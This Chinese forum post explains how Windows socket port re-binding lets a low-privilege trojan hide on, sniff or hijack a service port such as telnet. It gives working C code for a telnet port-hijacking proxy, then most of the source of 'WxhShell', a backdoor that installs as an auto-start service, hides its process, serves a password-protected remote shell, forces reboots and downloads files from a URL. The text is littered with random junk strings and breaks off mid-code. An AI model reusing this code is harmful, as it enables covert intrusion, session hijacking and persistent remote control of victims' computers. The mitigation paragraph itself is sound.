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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u?a4v\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5 `Mos  
fRow@DI\  
  saddr.sin_family = AF_INET; i& phko}  
*~b}]M700  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xnp5XhU  
$bho]~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "m'roU  
&% infPI'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sf(2~BMQI  
U6sPJc<  
  这意味着什么?意味着可以进行如下的攻击: bS2)L4MQY  
$I$ B8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V=+wsc  
k% -S7iQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )e|n7|} $  
=0" Zse,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6M)4v{F  
V']{n7a-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J Gpy$T{t  
Eg/=VBtc  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '(.vB~m7*+  
`;\<Fr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dJYW8pcKT  
9NPOdt:@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^5,B6  
VW%eB  
  #include &1(PS)s  
  #include E$?:^ausu  
  #include ndB [f  
  #include    6.0/asN}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !=t.AgmL  
  int main() kH9fK80  
  { T=- $ok`G  
  WORD wVersionRequested; V]fsjpvlmr  
  DWORD ret; jeLC)lQ*  
  WSADATA wsaData; {YT@$K]w,  
  BOOL val; "6} #65  
  SOCKADDR_IN saddr; +kdZfv>  
  SOCKADDR_IN scaddr;  fcLVE  
  int err; TQjM3Ri=V  
  SOCKET s; S@WzvM  
  SOCKET sc; t(sQw '>  
  int caddsize; '_`O&rbT  
  HANDLE mt; ML= :&M!ao  
  DWORD tid;   +|OrV'  
  wVersionRequested = MAKEWORD( 2, 2 ); }o  {6  
  err = WSAStartup( wVersionRequested, &wsaData ); +. `  I  
  if ( err != 0 ) { VBe.&b8  
  printf("error!WSAStartup failed!\n"); qx+ .v2G  
  return -1; I_\#(  
  } `r$c53|<u  
  saddr.sin_family = AF_INET; u+ ?Wm40E  
   Tz"Xm/Gy  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x_K8Gr#Z0  
'9R.$,N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +uD4$Wt_F  
  saddr.sin_port = htons(23); p+pBk$4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =Co[pt  
  { q0a8=o"|  
  printf("error!socket failed!\n"); I\FBf&~  
  return -1; 0K *|B.O  
  } 0qPbmLMK  
  val = TRUE; }+wvZq +c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -ghmLMS%t  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zZ11J0UI  
  { ^zs]cFN#%  
  printf("error!setsockopt failed!\n"); `Zm- F  
  return -1; F CbU> 1R  
  } n(}zq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dhAkD-Lh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &LD=Zp%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 " Om4P|  
P nxxW?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~g_]Sskf7  
  { %JsCw8C6?  
  ret=GetLastError();  erW[q  
  printf("error!bind failed!\n"); 2VgDM6h  
  return -1; `BA,_N|6  
  } /$q9 Kxb  
  listen(s,2); (1t b  
  while(1) Gu3# y"a>  
  { ^ #6Ei9di  
  caddsize = sizeof(scaddr); d".Xp4}f  
  //接受连接请求 gPo3jwo$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |#y+iXTJ   
  if(sc!=INVALID_SOCKET) 7j9X<8 *  
  { _'W en  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J%Cn  
  if(mt==NULL) @v#]+9F  
  { nB; yS<  
  printf("Thread Creat Failed!\n"); j4!g&F _y  
  break; &!kD81?Mm  
  } N"tEXb/,  
  } 4RLuv?,)~  
  CloseHandle(mt); TJ&Z/k3-  
  } ([mC!d@a  
  closesocket(s); \:'|4D]'I  
  WSACleanup(); h{J=Rq  
  return 0; aSN"MTw.  
  }   0q@U>#  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z=L~W,0'  
  { c" |4'#S  
  SOCKET ss = (SOCKET)lpParam; 1<Z~Gw4  
  SOCKET sc; }JF,:g Lk  
  unsigned char buf[4096]; >~nc7j u  
  SOCKADDR_IN saddr; d0b`qk @4  
  long num; L.cGt"{  
  DWORD val; ~{8X$xs  
  DWORD ret; ySS kw7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uxxS."~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %, U@ D4w  
  saddr.sin_family = AF_INET; 55mDLiA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1ymq7F(2  
  saddr.sin_port = htons(23); MPexc5_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _o'3v=5T  
  { yV'<l .N  
  printf("error!socket failed!\n"); hC nqe  
  return -1; lZt{L0  
  } `8.Oc;*zu  
  val = 100; 2[O\"a%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &s+F+8"P+  
  { +2ZBj6 e9  
  ret = GetLastError(); 7QOQG:-  
  return -1; (_9cL,v  
  } nVO|*Bnf)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @CxXkR  
  { lT<4c5 %  
  ret = GetLastError(); Zi!6dl ev  
  return -1; JdP[ cN  
  } ZRK1 UpP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Fz3QSr7FU  
  { 6v]y\+  
  printf("error!socket connect failed!\n"); )|Ho"VEmg  
  closesocket(sc); {<p-/|Z52  
  closesocket(ss); zUe)f~4  
  return -1; 9b8kRz[ c  
  } _olhCLIR-  
  while(1) 3BTXX0yx  
  { 2I!L+j_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K F:W:8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 , :10  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TB8a#bK4  
  num = recv(ss,buf,4096,0); Q9[$ 8  
  if(num>0) Z7Y+rP[l  
  send(sc,buf,num,0); h=1cD\^|qw  
  else if(num==0) o:.6{+|N  
  break; tW=,o&C=  
  num = recv(sc,buf,4096,0); #VLO6  
  if(num>0) aCwb[7N  
  send(ss,buf,num,0); Y!+q3`-%T  
  else if(num==0) p5`d@y\hj  
  break; =LUDg7P  
  } TqZ&X| G  
  closesocket(ss); Mzbbr57n  
  closesocket(sc); |, Lp1  
  return 0 ; J[?7`6\M  
  } HZG<aY="  
]xYm@%>6  
gmU0/z3&  
========================================================== :J'ibb1  
9uRs@]i  
下边附上一个代码,,WXhSHELL 2".^Ma^D!  
(I) e-1  
========================================================== %"1*,g{  
.QaHE`e{  
#include "stdafx.h" M<s Y_<z  
=LsW\.T6  
#include <stdio.h> B F,rZZL  
#include <string.h> 0D\b;ju<  
#include <windows.h> .&Vy o<9Ck  
#include <winsock2.h> 3=SN;cn  
#include <winsvc.h> "]"!"#aMv  
#include <urlmon.h> d- wbZ)BR  
ZgXn8O[a  
#pragma comment (lib, "Ws2_32.lib") }`SXUM_sD`  
#pragma comment (lib, "urlmon.lib") Sv E|"  
E@f2hW2  
#define MAX_USER   100 // 最大客户端连接数 UT^-!L LB]  
#define BUF_SOCK   200 // sock buffer TDMyZ!d  
#define KEY_BUFF   255 // 输入 buffer 'A|OVyH  
-9.Rmv#og{  
#define REBOOT     0   // 重启 +Y:L4`  
#define SHUTDOWN   1   // 关机 @`</Z)  
K~?M?sa  
#define DEF_PORT   5000 // 监听端口 #ilU(39e  
'+ 8.nN  
#define REG_LEN     16   // 注册表键长度 @\!9dK-W  
#define SVC_LEN     80   // NT服务名长度 pxF<L\L?:  
Ww }qK|D  
// 从dll定义API +h*.%P}o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #*g.hL<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 49BLJ|:P?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~4{E0om@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R]-$]koQO  
w'Kc#2  
// wxhshell配置信息 Od>^yhn  
struct WSCFG { s 4Mi9h_  
  int ws_port;         // 监听端口 \n @S.Y?P  
  char ws_passstr[REG_LEN]; // 口令 ql Uw;{;p  
  int ws_autoins;       // 安装标记, 1=yes 0=no X@ljZ  
  char ws_regname[REG_LEN]; // 注册表键名 sF/X#GG-  
  char ws_svcname[REG_LEN]; // 服务名 'k9?n)<DW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s1[_Pk;!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4HG@moYn@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eBK s-2r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gAx8r-` `  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Kp|#04]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %Jrdr`<  
^jO$nPDd  
}; O\5*p=v  
HzO6hb{jJO  
// default Wxhshell configuration I82?sQ7  
struct WSCFG wscfg={DEF_PORT, O1o.^i$-M  
    "xuhuanlingzhe", IZm_/  
    1, 8Ee bWs*1  
    "Wxhshell", &M)S~Hb^  
    "Wxhshell", g5EdW=Dt,  
            "WxhShell Service", ]~,V(K  
    "Wrsky Windows CmdShell Service", dBV^Khf J  
    "Please Input Your Password: ", mGQgy[gX  
  1, @G vDl=.  
  "http://www.wrsky.com/wxhshell.exe", AUloP?24  
  "Wxhshell.exe" '~-Lxvf'  
    }; -%XvWZvZ  
6 ~b~[gA  
// 消息定义模块 s$Il;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZCQ7xQD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Q\Ogfjp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z=O2tR  
char *msg_ws_ext="\n\rExit."; :<%q9)aPf`  
char *msg_ws_end="\n\rQuit."; ~Od4( }/G  
char *msg_ws_boot="\n\rReboot..."; (K$K;f$"r  
char *msg_ws_poff="\n\rShutdown..."; qYg4H|6  
char *msg_ws_down="\n\rSave to "; `_]Z#X&&h  
\/jr0):  
char *msg_ws_err="\n\rErr!"; &bx;GG\<4  
char *msg_ws_ok="\n\rOK!"; H|='|k5Y.  
U[zY0B  
char ExeFile[MAX_PATH]; a;Ic!:L  
int nUser = 0; |Xblz1>DF  
HANDLE handles[MAX_USER]; =*.Nt*;;  
int OsIsNt; pRtxyL"y  
"(}xIsy  
SERVICE_STATUS       serviceStatus; y2V9!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $]CZ]EWts  
Y&xmy|O#  
// 函数声明 ce{GpmW  
int Install(void); /&=E=S6  
int Uninstall(void); h<.G^c)  
int DownloadFile(char *sURL, SOCKET wsh); 6Q,-ZM=Z_p  
int Boot(int flag); #Zpp*S55  
void HideProc(void); 8<$6ufvOv  
int GetOsVer(void); j380=? 7  
int Wxhshell(SOCKET wsl); SGW2'  
void TalkWithClient(void *cs); {& G7 Xa  
int CmdShell(SOCKET sock); UXvk5t1  
int StartFromService(void); %T*lcg  
int StartWxhshell(LPSTR lpCmdLine); T0WB  
p.q :vI$J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B]< 6\Z?=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^*C+^l&J!  
sXI_!)H  
// 数据结构和表定义  C~vU  
SERVICE_TABLE_ENTRY DispatchTable[] = *LeFI%  
{ 3Ak,M-Jp  
{wscfg.ws_svcname, NTServiceMain}, >Dpz0v  
{NULL, NULL} &I.UEF2,  
}; TX]4Y953D  
PY: l  
// 自我安装 "U34D1I )#  
int Install(void) }N5>^y  
{ 4NL Tt K  
  char svExeFile[MAX_PATH]; 59";{"sw  
  HKEY key; -zg,pK$+  
  strcpy(svExeFile,ExeFile); CjM+%l0MW  
CGIcuHp  
// 如果是win9x系统,修改注册表设为自启动 $]4^ENkI  
if(!OsIsNt) { ll {jE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 22|eiW/a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vV1F|  
  RegCloseKey(key); p5^,3&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cbl@V 1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^_JD 7-g  
  RegCloseKey(key); ;Jt*s  
  return 0; d$s1l  
    } ~oI7TP  
  } Vb06z3"r  
} T#^   
else { \pZ,gF;y  
4EzmH)4G  
// 如果是NT以上系统,安装为系统服务 #M6@{R2_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m;{_%oQ;  
if (schSCManager!=0) c&2ZjM  
{ eX 9{wb(  
  SC_HANDLE schService = CreateService T[s_w-<7$  
  ( Rd;k>e  
  schSCManager, R8UtX9'*sa  
  wscfg.ws_svcname, oK@!yYv  
  wscfg.ws_svcdisp, S =q.Y  
  SERVICE_ALL_ACCESS, 3 q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , au2 ieZZ[  
  SERVICE_AUTO_START, ; A~S){  
  SERVICE_ERROR_NORMAL, oju7<b9Ez  
  svExeFile, XJsHy_6  
  NULL, =)m2u2c M  
  NULL, =,KRZqz  
  NULL, &TE=$a:d&  
  NULL, Kxz<f>`b/  
  NULL 7*y_~H  
  ); J&S$F:HM  
  if (schService!=0) q2 D2:0^2  
  { @HJ&"72$<  
  CloseServiceHandle(schService); =6imrRaaV  
  CloseServiceHandle(schSCManager); -,Cx|Nl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9_[TYzpB!  
  strcat(svExeFile,wscfg.ws_svcname); }6.R.*Imz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X>2_G ol!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B;[{7J]  
  RegCloseKey(key); ?ltTJ(Po  
  return 0; 4x.'H18  
    } n>jb<uz  
  } Jt"0|+g|  
  CloseServiceHandle(schSCManager); !>-cMI6E  
} 0P sp/H%  
} mq$'\c 9.  
fM?HZKo  
return 1; 0/S|P1!b  
} BFt?%E/]  
I\PhgFt@O  
// 自我卸载 M4pE wD  
int Uninstall(void) rOw""mE  
{ :y%%Vx~  
  HKEY key; (;P)oB"`C  
zx'G0Z9]  
if(!OsIsNt) { .MMFN }1O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hv(0<k6oH  
  RegDeleteValue(key,wscfg.ws_regname); jDI O,XuF  
  RegCloseKey(key); |Y"q. n77  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5b3Wt7  
  RegDeleteValue(key,wscfg.ws_regname); FGu:8`c9  
  RegCloseKey(key); $n& alcU  
  return 0; !p4w 8  
  } $[5ihV$u  
} *qYcb} ]  
} %)8`(9J*  
else { V"(S<o  
$q]((@i.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {M U>5\  
if (schSCManager!=0) Ra<mdteZT  
{ 9r@r\-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FOgF'!K  
  if (schService!=0) }UZ$<81=  
  { 6Lz{/l8  
  if(DeleteService(schService)!=0) { /4+M0Pl  
  CloseServiceHandle(schService); <splLZW3k  
  CloseServiceHandle(schSCManager); #o_`$'>  
  return 0; 12DMb9_rp  
  } -}@3,G  
  CloseServiceHandle(schService); S{{D G  
  } vE7L> 7  
  CloseServiceHandle(schSCManager); BbUZ,X*Y  
} L.>tJ.ID  
} &K2[>5 mG  
} WY7!Y  
return 1; #K'3` dpL  
} c 6@!?8J  
N,V %/O{Y  
// 从指定url下载文件 :X Er{X  
int DownloadFile(char *sURL, SOCKET wsh) xz[a3In+  
{ PmyS6a@  
  HRESULT hr; He^+>XIam  
char seps[]= "/"; YUJlQ2e(  
char *token; {co(w 7  
char *file; .cN\x@3-j  
char myURL[MAX_PATH]; (p26TN;*$5  
char myFILE[MAX_PATH]; %h 6?/  
)Xg,;^  
strcpy(myURL,sURL); zI8Q "b  
  token=strtok(myURL,seps); A>(m}P  
  while(token!=NULL) *,{. oO9#  
  { ;H /*%2  
    file=token; 2+ F34  
  token=strtok(NULL,seps); &^FCp'J-  
  } iq-n(Rfw~  
2-j+-B|i  
GetCurrentDirectory(MAX_PATH,myFILE); ,.uu/qV}w  
strcat(myFILE, "\\"); hc2[,Hju{O  
strcat(myFILE, file); T5.1qrL  
  send(wsh,myFILE,strlen(myFILE),0); GiJ|5"  
send(wsh,"...",3,0); / *xP`'T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JVf8KHDj  
  if(hr==S_OK) >|WNsjkU%  
return 0; _JOrGVmD  
else aAiSP+#  
return 1; #P=rP=  
7'Y 3T[  
} R8P7JY[h  
&G7JGar  
// 系统电源模块 ?Z {4iF  
int Boot(int flag) o $oW-U  
{  wX@&Qv  
  HANDLE hToken; [?iA`#^d  
  TOKEN_PRIVILEGES tkp; $wH{snX  
;0O3b  
  if(OsIsNt) { q]YPDdR#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "8%B (a 5A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hH[UIe  
    tkp.PrivilegeCount = 1; xK9"t;!C&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ))|Wm}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =:n>yZ3T  
if(flag==REBOOT) { 9KRHo%m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K,bv\j;f  
  return 0; UhYeyT  
} x$d3 fsEE  
else { )n}Wb+2I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A\iDK10Q$  
  return 0; kLQPa[u4  
} :TJv<NZi'  
  } <8yzBp4gZ  
  else { K@Q_q/(%;  
if(flag==REBOOT) { H_m(7@=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]c]rIOTN  
  return 0; asb-syqU  
} *,5V;7OR  
else { <uDEDb1|l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w'z ?1M(*  
  return 0; #y%bx<A  
} 0b+OB pqN  
} ~[d U%I>L^  
2Un~ Iy  
return 1; 1OK,r`   
} <DP_`[+C  
dqO!p6  
// win9x进程隐藏模块 ojU:RRr4l$  
void HideProc(void) ~Z!!wDHS  
{ }UJS*mR  
p0~=   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9YRoWb{y  
  if ( hKernel != NULL ) CwZ+P n0  
  { 2%U)y;$m2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (M5w:qbR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,IoPK!5xy  
    FreeLibrary(hKernel); T{3C3EE?]  
  }  hX?L/yf  
!cPiH6eO  
return; ps=jGh[  
} {.pR$]6B"+  
pV{MW#e  
// 获取操作系统版本  98eiYh  
int GetOsVer(void) B?9K!c  
{ h~haA8i?{  
  OSVERSIONINFO winfo; ?rID fEvV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n.jF:  
  GetVersionEx(&winfo); 6*cG>I.Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fj}|uiOQUS  
  return 1; / 1 lIV_Z  
  else s `fIeP  
  return 0; u,e'5,`N  
} {$z)7s  
H((! BRl  
// 客户端句柄模块 L&M6s f$N  
int Wxhshell(SOCKET wsl) FVM:%S JjT  
{ M-1 VB5  
  SOCKET wsh; zM{'GB+en  
  struct sockaddr_in client; bg;N BoZd  
  DWORD myID; FJKW=1 =,  
g3Q]W(F%$  
  while(nUser<MAX_USER) X{zg-k(@  
{ //cj$}Rn!  
  int nSize=sizeof(client); HKr")K%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); im{'PgiR  
  if(wsh==INVALID_SOCKET) return 1; ON#\W>MK?  
|3{DlZ2S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j_S///  
if(handles[nUser]==0) rOQhS]TP*  
  closesocket(wsh); ^(y=DJ7  
else D|m6gP;P  
  nUser++; >(5*y=\i  
  } yL/EIN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RNGTSz  
XzI c<81Z  
  return 0; rB|Mp!g%@  
} meunAEe  
tz0@csXV  
// 关闭 socket hgMh]4wN*  
void CloseIt(SOCKET wsh) "]J4BZD  
{ ^]c/hb|X  
closesocket(wsh); }rf_:  
nUser--; 3|zqEGT*  
ExitThread(0); j~,7JJ (y  
} @k:f(c  
-BUxQ8/,  
// 客户端请求句柄 %^s;{aN*!  
void TalkWithClient(void *cs) aiVd^(  
{ 'U ',9  
nM:e<`r  
  SOCKET wsh=(SOCKET)cs; <"w;:Zs  
  char pwd[SVC_LEN]; V\^rs41$;  
  char cmd[KEY_BUFF]; /.<%y 8v  
char chr[1]; D>M a3g  
int i,j; e^kccz2f  
4DI.R K9  
  while (nUser < MAX_USER) { RG/M-  
<,p|3p3  
if(wscfg.ws_passstr) { *O-1zIlp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bOjvrg;Sz\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Poy ]5:.  
  //ZeroMemory(pwd,KEY_BUFF); fP>_P# gZ  
      i=0; 0VC8'6S_k  
  while(i<SVC_LEN) { owL>w  
ry9%Y3  
  // 设置超时 ~qQSt%  
  fd_set FdRead; #mg6F$E  
  struct timeval TimeOut; YW55iyM  
  FD_ZERO(&FdRead); WNSf$D{p  
  FD_SET(wsh,&FdRead); ETvn$ Jdp  
  TimeOut.tv_sec=8; %,f|H :+>u  
  TimeOut.tv_usec=0; RM\it"g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "j BrPCB 8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'qcLK>E  
nEu,1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !|6M,Rk_  
  pwd=chr[0]; yO Ed8  
  if(chr[0]==0xd || chr[0]==0xa) { MGpP'G:v  
  pwd=0; D /ysS$!{  
  break; O{Bll;C  
  } yf`Nh  
  i++; 0[ MQp"z  
    } ({ 'I;]AQ  
{3=M-U~r  
  // 如果是非法用户,关闭 socket am.}2 QZU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #4S">u  
} z%cq%P8g  
O8:$sei$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [kwVxaI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,!+>/RlJ  
-w nlJi1f  
while(1) { <#AS[Q[N  
Q\>9PKK  
  ZeroMemory(cmd,KEY_BUFF); 2w)[1s[  
)X-b|D4O  
      // 自动支持客户端 telnet标准   g4USKJ19.  
  j=0; r0kJx$f  
  while(j<KEY_BUFF) { :*|%g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2u 8z>/G  
  cmd[j]=chr[0]; l M ]n  
  if(chr[0]==0xa || chr[0]==0xd) { &}}c>]m  
  cmd[j]=0; 1SIhW:C  
  break; }T=0]u4,  
  } S9kagiFX\  
  j++; 8a{S*  
    } BeP]M1\?>  
q#9JJWSs  
  // 下载文件 >7%Gd-;l  
  if(strstr(cmd,"http://")) { :m*r( i3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k( l  
  if(DownloadFile(cmd,wsh)) &?L K>QV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )>,; GVu"  
  else 4oW6&1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y1 RiuJtL  
  } ?EP>yCR9  
  else { BR\3ij  
qr>:meJy4  
    switch(cmd[0]) { R'R LF =  
  Hq9yu*!u  
  // 帮助 ;xF5P'T?|  
  case '?': { ~=HrD?-99p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1.\|,$  
    break; 3S4'x4*  
  } <P&~k\BuF{  
  // 安装 H9nVtS{x  
  case 'i': { 9W{`$30  
    if(Install()) LASR*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)Xyz d  
    else g/H:`J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <vS J< WY  
    break; b+/XVEsr  
    } -I."= c%  
  // 卸载 N"-</kzV  
  case 'r': { !GJnYDN  
    if(Uninstall()) y\-f{I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hkq""'Mx+w  
    else ap|7./yg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^6&?R?y  
    break; PDN3=PAR/A  
    } E ]eVoC  
  // 显示 wxhshell 所在路径 c_$9z>$  
  case 'p': { gG"W~O)yv  
    char svExeFile[MAX_PATH]; 4w p5ghe  
    strcpy(svExeFile,"\n\r"); vLQ!kB^\W  
      strcat(svExeFile,ExeFile); bvyX(^I[q  
        send(wsh,svExeFile,strlen(svExeFile),0); yZ7aH|Q81B  
    break; _@U?;73"5  
    } ]Tmx;[D  
  // 重启 jSMvZJX3n  
  case 'b': { y&8' V\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rou$`<{H  
    if(Boot(REBOOT)) EOqvu=$6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\;7'  
    else { 6J/"1 _  
    closesocket(wsh); jP*5(*[&y  
    ExitThread(0); DRS68^  
    } {&tbp Bl#  
    break; + 3+^J?N  
    } fq*. 4s #  
  // 关机 R7~H}>uaF  
  case 'd': { "4W@p'  
